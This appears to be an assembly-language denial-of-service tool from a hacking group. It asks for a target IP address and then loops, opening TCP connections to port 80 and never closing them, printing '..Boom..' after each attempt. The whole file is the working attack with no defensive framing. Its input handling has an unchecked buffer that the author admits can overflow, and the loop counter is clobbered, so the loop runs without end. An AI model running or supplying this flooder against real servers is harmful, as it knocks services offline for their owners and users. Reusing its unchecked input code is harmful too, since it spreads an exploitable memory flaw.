;gs.asm
;gantung http socket
;programmer: ev1lut10n
;compile: nasm -f elf gs.asm
;gcc -o gs gs.o
;warning !!!! no error handling here, use with care !!!
;thanks to all devilzc0de crews and members 
(flyf666,wenkhairu,whitehat,gunslinger,peneter,and all my friends)
;thanks to all flashcrew and members

global main
%define PF_INET		2
%define AF_INET		PF_INET
%define SOCK_STREAM	1
%define INADDR_ANY	0
%define	PORT		80

extern printf
extern scanf
extern	socket
extern	connect
extern	htons
extern	recv
extern	send
extern	close
extern	inet_aton

section .data
akhir                db "-------------finished----------",13,10	
pjg_akhir	     equ $ - akhir
banner               db ".::gantung socket::.",13,10  	
pjg_banner	     equ $ - banner
tunggu               db "..Boom..",13,10  	
pjg_tunggu	     equ $ - tunggu

programmer           db "      programmer:ev1lut10n ",13,10  	
pjg_programmer       equ $ - programmer
fok   db "-------------------------------------",13,10  	
pjg_fok     equ $ - fok
kon_gagal            db "[-] wtf dude ? failed at connect() ",13,10  	
warning              db "warning !!! do not use hostname  !!! use target 
ip address instead !!!",13,10       
pjg_warning	     equ $ - warning

ask_target          db "enter target ip address  : ",0
target              db "%s", 0
ask_loop          db "enter target ip address  : ",0

fd		dd	0			

struc sockaddr_in
	.sin_family	resw	1		
	.sin_port	resw	1		
	.sin_addr	resd	1		
			resb	8		
endstruc
struktur istruc	sockaddr_in	

section .bss
targetx:        resw 50 ; beware my heap overflow 

section .text
main:
        ;start stack op
	push ebp      
        mov ebp,esp
	mov eax,10000
	mov edx,pjg_fok
	mov ecx,fok
	call (makro_writeln)
	
	
	mov edx,pjg_banner
	mov ecx,banner
	call (makro_writeln)
	
	mov edx,pjg_programmer
	mov ecx,programmer
	call (makro_writeln)
	
	mov edx,pjg_fok
	mov ecx,fok
	call (makro_writeln)
	
	push dword ask_target
	call printf
	push dword targetx
        push dword target
	call scanf

	

while:
	cmp eax,0
	je finish
	push	dword 0
	push	dword SOCK_STREAM
	push	dword AF_INET
	call	socket			
        mov	[fd], eax	
        mov	word [struktur+sockaddr_in.sin_family], AF_INET
	push	dword (struktur + sockaddr_in.sin_addr)
	push	dword targetx
	call	inet_aton	
	push	word PORT
	call	htons	
	mov	word [struktur+sockaddr_in.sin_port], ax
	push	dword sockaddr_in_size
	push	dword struktur
	push	dword [fd]
	call	connect
        mov edx,pjg_tunggu
	mov ecx,tunggu
	call (makro_writeln)
		
        inc eax 	
        jmp while  	
finish:
        mov edx,pjg_akhir
	mov ecx,akhir
	call (makro_writeln)
	
        mov esp,ebp  
        pop ebp
        ret
makro_writeln:
        mov ebx,1
	mov eax,4
	int 80h
        ret